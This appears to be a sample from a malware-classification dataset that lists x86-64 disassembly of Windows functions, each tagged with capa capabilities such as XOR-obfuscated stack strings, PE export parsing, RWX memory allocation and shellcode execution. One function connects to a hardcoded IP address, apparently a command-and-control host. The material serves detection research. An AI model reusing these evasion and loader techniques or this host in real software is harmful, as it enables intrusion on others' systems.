joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405a90
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax - 8], r12
mov qword [rax - 0x10], r13
mov r13, rcx
mov edi, r8d
mov r12, rdx
call fcn.004047d0
xor ebx, ebx
cmp qword [0x00413fa0], rbx
mov rsi, rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x34], ebx
jne 0x405bc1
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rbp, rax
jne 0x405af3
xor eax, eax
jmp 0x405ca1
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x405aec
mov rcx, rax
call fcn.00404760
lea rdx, str.GetActiveWindow
mov rcx, rbp
mov qword [0x00413fa0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.00404760
lea rdx, str.GetLastActivePopup
mov rcx, rbp
mov qword [0x00413fa8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.00404760
lea rcx, [rsp + 0x30]
mov qword [0x00413fb0], rax
call fcn.00403210
test eax, eax
je 0x405b77
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.00402a00
cmp dword [rsp + 0x30], 2
jne 0x405bc1
lea rdx, str.GetUserObjectInformationA
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.00404760
test rax, rax
mov qword [0x00413fc0], rax
je 0x405bc1
lea rdx, str.GetProcessWindowStation
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.00404760
mov qword [0x00413fb8], rax
mov rcx, qword [0x00413fb8]
cmp rcx, rsi
je 0x405c53
cmp qword [0x00413fc0], rsi
je 0x405c53
call fcn.00404830
call rax
test rax, rax
mov rbp, rax
je 0x405c1e
mov rcx, qword [0x00413fc0]
call fcn.00404830
lea rcx, [rsp + 0x38]
mov r9d, 0xc
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
lea r8, [rsp + 0x40]
mov rcx, rbp
call rax
test eax, eax
je 0x405c1e
test byte [rsp + 0x48], 1
jne 0x405c53
lea rcx, [rsp + 0x34]
call fcn.00403260
test eax, eax
je 0x405c40
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.00402a00
cmp dword [rsp + 0x34], 4
jb 0x405c4d
bts edi, 0x15
jmp 0x405c87
bts edi, 0x12
jmp 0x405c87
mov rcx, qword [0x00413fa8]
cmp rcx, rsi
je 0x405c87
call fcn.00404830
call rax
test rax, rax
mov rbx, rax
je 0x405c87
mov rcx, qword [0x00413fb0]
cmp rcx, rsi
je 0x405c87
call fcn.00404830
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x00413fa0]
call fcn.00404830
mov r9d, edi
mov r8, r12
mov rdx, r13
mov rcx, rbx
call rax
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x68
ret
Function at 0x40b760
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub rsp, 0x78
mov rax, qword [0x00412040]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x98], rdi
mov rdi, rcx
lea rcx, [rsp + 0x48]
mov word [rsp + 0x48], 0x4b
mov word [rsp + 0x4a], 0x65
mov word [rsp + 0x4c], 0x72
mov word [rsp + 0x4e], 0x6e
mov word [rsp + 0x50], 0x65
mov word [rsp + 0x52], 0x6c
mov word [rsp + 0x54], 0x33
mov word [rsp + 0x56], 0x32
mov word [rsp + 0x58], 0x2e
mov word [rsp + 0x5a], 0x64
mov word [rsp + 0x5c], 0x6c
mov word [rsp + 0x5e], 0x6c
mov word [rsp + 0x60], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor r10d, r10d
mov byte [rsp + 0x28], 0x3d
mov byte [rsp + 0x29], 0x25
mov byte [rsp + 0x2a], 0x19
mov r11, rax
mov byte [rsp + 0x2b], 0x3d
mov byte [rsp + 0x2c], 0x18
mov byte [rsp + 0x2d], 3
mov byte [rsp + 0x2e], 7
mov byte [rsp + 0x2f], 0x1c
mov byte [rsp + 0x30], 0x19
mov byte [rsp + 0x31], 0x26
mov byte [rsp + 0x32], 0x19
mov byte [rsp + 0x33], 7
mov byte [rsp + 0x34], 8
mov byte [rsp + 0x35], 0x38
mov byte [rsp + 0x36], 0
mov word [rsp + 0x38], 0x6b
mov word [rsp + 0x3a], 0x4c
mov word [rsp + 0x3c], 0x6b
mov word [rsp + 0x3e], 0x49
mov word [rsp + 0x40], 0x6d
mov word [rsp + 0x42], 0x62
mov word [rsp + 0x44], 0
mov rcx, r10
lea rdx, [rsp + 0x28]
lea r8d, [r10 + 0xe]
cmp word [rsp + rcx*2 + 0x38], r10w
cmove rcx, r10
add rdx, 1
movzx eax, byte [rsp + rcx*2 + 0x38]
add rcx, 1
xor byte [rdx - 1], al
sub r8, 1
jne 0x40b872
test r11, r11
je 0x40b8a8
lea rdx, [rsp + 0x28]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rax
cmp qword [rdi + 0x20], 0x10
mov qword [rsp + 0x90], rbx
jb 0x40b8c1
mov rcx, qword [rdi + 8]
lea rbx, [rdi + 8]
jmp 0x40b8c8
lea rbx, [rdi + 8]
mov rcx, rbx
lea r9, [rsp + 0x20]
mov edx, 0x5aa
mov r8d, 0x40
call r10
cmp qword [rdi + 0x20], 0x10
mov rdi, qword [rsp + 0x98]
jb 0x40b8ed
mov rbx, qword [rbx]
call rbx
mov rbx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.00401c60
add rsp, 0x78
ret
Function at 0x40bc60
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub rsp, 0x78
mov rax, qword [0x00412040]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov r9, qword [rcx + 0x18]
mov qword [rsp + 0x98], rbx
xor ebx, ebx
mov qword [rsp + 0x70], rdi
mov rdi, rcx
mov byte [rsp + 0x30], 0x3a
lea r8d, [rbx + 0xb]
mov byte [rsp + 0x31], 0x2c
mov byte [rsp + 0x32], 0x1a
mov byte [rsp + 0x33], 0x38
mov byte [rsp + 0x34], 0x12
mov byte [rsp + 0x35], 0x35
mov byte [rsp + 0x36], 0x1d
mov byte [rsp + 0x37], 0xa
mov byte [rsp + 0x38], 4
mov byte [rsp + 0x39], 0x15
mov byte [rsp + 0x3a], 8
mov byte [rsp + 0x3b], 0
mov word [rsp + 0x50], 0x6d
mov word [rsp + 0x52], 0x45
mov word [rsp + 0x54], 0x74
mov word [rsp + 0x56], 0x70
mov word [rsp + 0x58], 0x66
mov word [rsp + 0x5a], 0x41
mov word [rsp + 0x5c], 0
mov rcx, rbx
lea rdx, [rsp + 0x30]
cmp word [rsp + rcx*2 + 0x50], bx
cmove rcx, rbx
add rdx, 1
movzx eax, byte [rsp + rcx*2 + 0x50]
add rcx, 1
xor byte [rdx - 1], al
sub r8, 1
jne 0x40bd02
test r9, r9
jne 0x40bd2b
mov rax, rbx
jmp 0x40bd39
lea rdx, [rsp + 0x30]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], ebx
call rax
mov r9, qword [rdi + 0x18]
mov byte [rsp + 0x40], 0x15
mov qword [rdi], rax
mov byte [rsp + 0x41], 0x2f
mov byte [rsp + 0x42], 0x16
mov byte [rsp + 0x43], 0x32
mov byte [rsp + 0x44], 0x16
mov byte [rsp + 0x45], 0xc
mov byte [rsp + 0x46], 0x32
mov byte [rsp + 0x47], 5
mov byte [rsp + 0x48], 0x17
mov byte [rsp + 0x49], 0x14
mov byte [rsp + 0x4a], 0xc
mov byte [rsp + 0x4b], 0x1d
mov byte [rsp + 0x4c], 0x21
mov byte [rsp + 0x4d], 0x32
mov byte [rsp + 0x4e], bl
mov rcx, rbx
lea rdx, [rsp + 0x40]
mov r8d, 0xe
lea r10, str.BFxzbx
cmp word [r10 + rcx*2], bx
cmove rcx, rbx
add rdx, 1
movzx eax, byte [r10 + rcx*2]
add rcx, 1
xor byte [rdx - 1], al
sub r8, 1
jne 0x40bdb2
test r9, r9
je 0x40bde7
lea rdx, [rsp + 0x40]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov rcx, qword [rdi]
lea rdx, str.114.134.188.2
xor r9d, r9d
mov r8w, 0x84b
call rbx
mov rbx, qword [rsp + 0x98]
mov qword [rdi + 8], rax
mov rdi, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.00401c60
add rsp, 0x78
ret
Function at 0x180001170
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp edx, 1
jne 0x1800011a1
xor eax, eax
lea r8, section..text
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x38
ret
Function at 0x401fe0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x40
xor eax, eax
mov edx, 1
mov rbx, rcx
mov ecx, 0x20
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x46
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x401ff4
mov byte [rsp + 0x30], al
mov ecx, 0x20
xor eax, eax
mov edx, 1
nop word cs:[rax + rax]
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x64
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x402030
mov byte [rsp + 0x31], al
mov edx, 0x20
mov eax, 1
xor ecx, ecx
jmp 0x402070
mov r8d, ecx
or r8d, eax
test al, 0x75
cmovne ecx, r8d
add eax, eax
sub edx, 1
jne 0x402064
mov byte [rsp + 0x32], cl
mov edx, 0x20
mov eax, 1
xor ecx, ecx
jmp 0x40209c
mov r8d, ecx
or r8d, eax
test al, 0x51
cmovne ecx, r8d
add eax, eax
sub edx, 1
jne 0x402090
mov byte [rsp + 0x33], cl
mov edx, 0x20
mov eax, 1
xor ecx, ecx
jmp 0x4020c1
mov r8d, ecx
or r8d, eax
test al, 0x73
cmovne ecx, r8d
add eax, eax
sub edx, 1
jne 0x4020b5
mov byte [rsp + 0x34], cl
xor eax, eax
mov ecx, 0x20
mov edx, 1
nop dword [rax + rax]
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x6e
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x4020e0
mov byte [rsp + 0x35], al
mov ecx, 0x20
xor eax, eax
mov edx, 1
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x62
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x402112
mov byte [rsp + 0x36], al
mov ecx, 0x20
xor eax, eax
mov edx, 1
mov r9d, edx
mov r8d, eax
shr r9d, 6
or r8d, edx
xor r9d, edx
and r9d, 1
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x402144
mov byte [rsp + 0x37], al
mov edx, 1
mov eax, 0x20
xor ecx, ecx
jmp 0x402182
mov r8d, ecx
or r8d, edx
test dl, 0x65
cmovne ecx, r8d
add edx, edx
sub eax, 1
jne 0x402175
mov byte [rsp + 0x38], cl
mov eax, 0x20
mov edx, 1
xor ecx, ecx
jmp 0x4021ad
mov r8d, ecx
or r8d, edx
test dl, 0x65
cmovne ecx, r8d
add edx, edx
sub eax, 1
jne 0x4021a0
mov byte [rsp + 0x39], cl
mov eax, 0x20
mov edx, 1
xor ecx, ecx
jmp 0x4021dd
mov r8d, ecx
or r8d, edx
test dl, 0x73
cmovne ecx, r8d
add edx, edx
sub eax, 1
jne 0x4021d0
mov byte [rsp + 0x3a], cl
xor eax, eax
mov ecx, 0x20
mov edx, 1
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x64
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x4021f4
mov byte [rsp + 0x3b], al
mov ecx, 0x20
xor eax, eax
mov edx, 1
nop word cs:[rax + rax]
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x72
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x402230
mov byte [rsp + 0x3c], al
mov ecx, 0x20
xor eax, eax
mov edx, 1
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x72
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x402262
lea rdx, [rsp + 0x30]
lea r8, [rsp + 0x2f]
mov rcx, rbx
mov byte [rsp + 0x3d], al
mov byte [rsp + 0x3e], 0
call fcn.0044a530
mov rax, rbx
add rsp, 0x40
pop rbx
ret
Function at 0x402520
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x40
mov edx, 0x20
mov eax, 1
mov rbx, rcx
xor ecx, ecx
jmp 0x40254c
mov r8d, ecx
or r8d, eax
test al, 0x57
cmovne ecx, r8d
add eax, eax
sub edx, 1
jne 0x402540
mov byte [rsp + 0x30], cl
xor eax, eax
mov ecx, 0x20
mov edx, 1
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x68
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x402563
mov byte [rsp + 0x31], al
mov edx, 1
mov eax, 0x20
xor ecx, ecx
jmp 0x4025ad
mov r8d, ecx
or r8d, edx
test dl, 0x73
cmovne ecx, r8d
add edx, edx
sub eax, 1
jne 0x4025a0
mov byte [rsp + 0x32], cl
mov eax, 0x20
mov edx, 1
xor ecx, ecx
jmp 0x4025dd
mov r8d, ecx
or r8d, edx
test dl, 0x75
cmovne ecx, r8d
add edx, edx
sub eax, 1
jne 0x4025d0
mov byte [rsp + 0x33], cl
xor eax, eax
mov ecx, 0x20
mov edx, 1
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x74
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x4025f4
mov byte [rsp + 0x34], al
mov ecx, 0x20
xor eax, eax
mov edx, 1
nop word cs:[rax + rax]
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x60
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x402630
mov byte [rsp + 0x35], al
mov edx, 1
mov eax, 0x20
xor ecx, ecx
jmp 0x402671
mov r8d, ecx
or r8d, edx
test dl, 0x6d
cmovne ecx, r8d
add edx, edx
sub eax, 1
jne 0x402664
mov byte [rsp + 0x36], cl
xor eax, eax
mov ecx, 0x20
mov edx, 1
nop dword [rax + rax]
mov r9d, edx
mov r8d, eax
shr r9d, 6
or r8d, edx
xor r9d, edx
and r9d, 1
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x402690
mov byte [rsp + 0x37], al
mov edx, 1
mov eax, 0x20
xor ecx, ecx
jmp 0x4026ce
mov r8d, ecx
or r8d, edx
test dl, 0x6d
cmovne ecx, r8d
add edx, edx
sub eax, 1
jne 0x4026c1
mov byte [rsp + 0x38], cl
mov eax, 0x20
mov edx, 1
xor ecx, ecx
jmp 0x4026fd
mov r8d, ecx
or r8d, edx
test dl, 0x6d
cmovne ecx, r8d
add edx, edx
sub eax, 1
jne 0x4026f0
mov byte [rsp + 0x39], cl
xor eax, eax
mov ecx, 0x20
mov edx, 1
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x6e
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x402714
mov byte [rsp + 0x3a], al
mov ecx, 0x20
xor eax, eax
mov edx, 1
nop word cs:[rax + rax]
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x62
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x402750
lea rdx, [rsp + 0x30]
lea r8, [rsp + 0x2f]
mov rcx, rbx
mov byte [rsp + 0x3b], al
mov byte [rsp + 0x3c], 0
call fcn.0044a530
mov rax, rbx
add rsp, 0x40
pop rbx
ret
Function at 0x402b10
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x40
xor eax, eax
mov edx, 1
mov rbx, rcx
mov ecx, 0x20
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x48
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x402b24
mov byte [rsp + 0x30], al
mov edx, 0x20
mov eax, 1
xor ecx, ecx
jmp 0x402b6c
mov r8d, ecx
or r8d, eax
test al, 0x6f
cmovne ecx, r8d
add eax, eax
sub edx, 1
jne 0x402b60
mov byte [rsp + 0x31], cl
mov edx, 0x20
mov eax, 1
xor ecx, ecx
jmp 0x402b91
mov r8d, ecx
or r8d, eax
test al, 0x75
cmovne ecx, r8d
add eax, eax
sub edx, 1
jne 0x402b85
mov byte [rsp + 0x32], cl
xor eax, eax
mov ecx, 0x20
mov edx, 1
nop dword [rax + rax]
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x64
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x402bb0
mov byte [rsp + 0x33], al
mov edx, 1
mov eax, 0x20
xor ecx, ecx
jmp 0x402bf1
mov r8d, ecx
or r8d, edx
test dl, 0x73
cmovne ecx, r8d
add edx, edx
sub eax, 1
jne 0x402be4
mov byte [rsp + 0x34], cl
mov eax, 0x20
mov edx, 1
xor ecx, ecx
jmp 0x402c1d
mov r8d, ecx
or r8d, edx
test dl, 0x6f
cmovne ecx, r8d
add edx, edx
sub eax, 1
jne 0x402c10
mov byte [rsp + 0x35], cl
xor eax, eax
mov ecx, 0x20
mov edx, 1
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x64
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x402c34
mov byte [rsp + 0x36], al
mov edx, 1
mov eax, 0x20
xor ecx, ecx
jmp 0x402c7d
mov r8d, ecx
or r8d, edx
test dl, 0x75
cmovne ecx, r8d
add edx, edx
sub eax, 1
jne 0x402c70
mov byte [rsp + 0x37], cl
xor eax, eax
mov ecx, 0x20
mov edx, 1
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x4e
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x402c94
mov byte [rsp + 0x38], al
mov edx, 1
mov eax, 0x20
xor ecx, ecx
jmp 0x402cdd
mov r8d, ecx
or r8d, edx
test dl, 0x71
cmovne ecx, r8d
add edx, edx
sub eax, 1
jne 0x402cd0
mov byte [rsp + 0x39], cl
xor eax, eax
mov ecx, 0x20
mov edx, 1
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x64
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x402cf4
mov byte [rsp + 0x3a], al
mov edx, 1
mov eax, 0x20
xor ecx, ecx
jmp 0x402d3d
mov r8d, ecx
or r8d, edx
test dl, 0x6f
cmovne ecx, r8d
add edx, edx
sub eax, 1
jne 0x402d30
mov byte [rsp + 0x3b], cl
xor eax, eax
mov ecx, 0x20
mov edx, 1
mov r9d, edx
mov r8d, eax
shr r9d, 6
or r8d, edx
xor r9d, edx
and r9d, 1
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x402d54
lea rdx, [rsp + 0x30]
lea r8, [rsp + 0x2f]
mov rcx, rbx
mov byte [rsp + 0x3c], al
mov byte [rsp + 0x3d], 0
call fcn.0044a530
mov rax, rbx
add rsp, 0x40
pop rbx
ret
Function at 0x403bc0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x40
mov edx, 0x20
mov eax, 1
mov rbx, rcx
xor ecx, ecx
jmp 0x403bec
mov r8d, ecx
or r8d, eax
test al, 0x49
cmovne ecx, r8d
add eax, eax
sub edx, 1
jne 0x403be0
mov byte [rsp + 0x30], cl
mov edx, 0x20
mov eax, 1
xor ecx, ecx
jmp 0x403c11
mov r8d, ecx
or r8d, eax
test al, 0x75
cmovne ecx, r8d
add eax, eax
sub edx, 1
jne 0x403c05
mov byte [rsp + 0x31], cl
mov edx, 0x20
mov eax, 1
xor ecx, ecx
jmp 0x403c3c
mov r8d, ecx
or r8d, eax
test al, 0x75
cmovne ecx, r8d
add eax, eax
sub edx, 1
jne 0x403c30
mov byte [rsp + 0x32], cl
mov eax, 0x20
mov edx, 1
xor ecx, ecx
jmp 0x403c62
mov r8d, ecx
or r8d, edx
test dl, 0x71
cmovne ecx, r8d
add edx, edx
sub eax, 1
jne 0x403c55
mov byte [rsp + 0x33], cl
xor eax, eax
mov ecx, 0x20
mov edx, 1
nop dword [rax]
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x50
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x403c80
mov byte [rsp + 0x34], al
mov ecx, 0x20
xor eax, eax
mov edx, 1
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x74
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x403cb2
mov byte [rsp + 0x35], al
mov ecx, 0x20
xor eax, eax
mov edx, 1
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x64
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x403ce4
mov byte [rsp + 0x36], al
mov edx, 1
mov eax, 0x20
xor ecx, ecx
jmp 0x403d2d
mov r8d, ecx
or r8d, edx
test dl, 0x73
cmovne ecx, r8d
add edx, edx
sub eax, 1
jne 0x403d20
mov byte [rsp + 0x37], cl
xor eax, eax
mov ecx, 0x20
mov edx, 1
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x78
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x403d44
mov byte [rsp + 0x38], al
mov ecx, 0x20
xor eax, eax
mov edx, 1
nop word cs:[rax + rax]
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x48
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x403d80
mov byte [rsp + 0x39], al
mov edx, 1
mov eax, 0x20
xor ecx, ecx
jmp 0x403dc1
mov r8d, ecx
or r8d, edx
test dl, 0x6f
cmovne ecx, r8d
add edx, edx
sub eax, 1
jne 0x403db4
mov byte [rsp + 0x3a], cl
mov eax, 0x20
mov edx, 1
xor ecx, ecx
jmp 0x403ded
mov r8d, ecx
or r8d, edx
test dl, 0x67
cmovne ecx, r8d
add edx, edx
sub eax, 1
jne 0x403de0
mov byte [rsp + 0x3b], cl
xor eax, eax
mov ecx, 0x20
mov edx, 1
mov r10d, edx
mov r8d, eax
and r10d, 1
test dl, 0x6e
setne r9b
or r8d, edx
cmp r10b, r9b
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x403e04
mov byte [rsp + 0x3c], al
mov ecx, 0x20
xor eax, eax
mov edx, 1
nop word cs:[rax + rax]
mov r9d, edx
mov r8d, eax
shr r9d, 6
or r8d, edx
xor r9d, edx
and r9d, 1
cmovne eax, r8d
add edx, edx
sub ecx, 1
jne 0x403e40
lea rdx, [rsp + 0x30]
lea r8, [rsp + 0x2f]
mov rcx, rbx
mov byte [rsp + 0x3d], al
mov byte [rsp + 0x3e], 0
call fcn.0044a530
mov rax, rbx
add rsp, 0x40
pop rbx
ret
Function at 0x4041f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
movsxd rax, dword [rcx + 0x3c]
xor esi, esi
mov rbp, rcx
mov ebx, edx
lea r12, [rsp + 0x50]
mov r13d, dword [rcx + rax + 0x88]
add r13, rcx
mov eax, dword [r13 + 0x24]
mov r14d, dword [r13 + 0x20]
add rax, rcx
add r14, rcx
mov qword [rsp + 0x28], rax
mov eax, dword [r13 + 0x1c]
add rax, rcx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x4f]
mov qword [rsp + 0x20], rax
jmp 0x404291
cmp ebx, 1
je 0x4042f5
cmp ebx, 2
je 0x404350
cmp ebx, 3
je 0x404365
cmp ebx, 4
nop
je 0x404380
cmp ebx, 6
je 0x4043a0
mov eax, dword [r13 + 0x18]
add esi, 1
sub eax, 1
cmp eax, esi
jb 0x404335
mov edi, esi
test ebx, ebx
mov edx, dword [r14 + rdi*4]
lea r15, [rbp + rdx]
jne 0x404250
mov rcx, r12
call fcn.00401fe0
mov rdx, r15
mov rcx, r12
call fcn.00424ee0
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
lock xadd dword [rcx - 8], edx
test edx, edx
jle 0x4043c0
test eax, eax
jne 0x40427f
nop
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + rdi*2]
mov rdi, qword [rsp + 0x30]
mov eax, dword [rdi + rax*4]
add rax, rbp
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, r12
call fcn.004022b0
mov rdx, r15
mov rcx, r12
call fcn.00424ee0
mov rcx, qword [rsp + 0x50]
mov r15d, eax
mov edx, 0xffffffff
lock xadd dword [rcx - 8], edx
test edx, edx
jle 0x404340
test r15d, r15d
je 0x4042d0
mov eax, dword [r13 + 0x18]
add esi, 1
sub eax, 1
cmp eax, esi
jae 0x404291
mov edi, esi
jmp 0x4042d0
mov rdx, qword [rsp + 0x20]
sub rcx, 0x18
call fcn.00449130
jmp 0x40431e
mov rcx, r12
call fcn.004017b0
mov rdx, r15
mov rcx, r12
call fcn.00424ee0
jmp 0x404308
mov rcx, r12
call fcn.00401d90
mov rdx, r15
mov rcx, r12
call fcn.00424ee0
jmp 0x404308
mov rcx, r12
call fcn.00402520
mov rdx, r15
mov rcx, r12
call fcn.00424ee0
jmp 0x404308
mov rcx, r12
call fcn.004027a0
mov rdx, r15
mov rcx, r12
call fcn.00424ee0
jmp 0x404308
mov rdx, qword [rsp + 0x20]
sub rcx, 0x18
mov dword [rsp + 0x3c], eax
call fcn.00449130
mov eax, dword [rsp + 0x3c]
jmp 0x4042ca
Function at 0x40d280
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x60
mov rsi, rcx
mov ecx, dword [0x004a03b4]
mov rdi, rdx
mov rbp, r8
test ecx, ecx
jle 0x40d465
mov rax, qword [0x004a03b8]
xor ebx, ebx
nop
mov r9, qword [rax + 8]
cmp rsi, r9
jb 0x40d2cc
mov rdx, qword [rax + 0x10]
mov edx, dword [rdx + 8]
add r9, rdx
cmp rsi, r9
jb 0x40d3a0
add ebx, 1
add rax, 0x18
cmp ebx, ecx
jne 0x40d2b0
mov rcx, rsi
call fcn.0040dde0
test rax, rax
mov r12, rax
je 0x40d489
movsxd rbx, ebx
lea r13, [rsp + 0x30]
lea r14, [rbx + rbx*2]
shl r14, 3
mov rbx, r14
add rbx, qword [0x004a03b8]
mov qword [rbx + 0x10], rax
mov dword [rbx], 0
call fcn.0040df20
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
mov rdx, r13
mov qword [rbx + 8], rax
mov rax, qword [0x004a03b8]
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rcx, qword [rax + r14 + 8]
call rbx
test rax, rax
je 0x40d46c
mov eax, dword [rsp + 0x54]
cmp eax, 4
jne 0x40d420
add dword [0x004a03b4], 1
mov r8d, 0x30
mov rdx, r13
mov rcx, rsi
call rbx
test rax, rax
je 0x40d498
mov eax, dword [rsp + 0x54]
cmp eax, 4
jne 0x40d3b0
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp sub.msvcrt.dll_memcpy
lea r13, [rsp + 0x30]
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualQuery]
jmp 0x40d35b
cmp eax, 0x40
je 0x40d37b
lea r12, [rsp + 0x2c]
mov r8d, 0x40
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, r12
call rbx
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
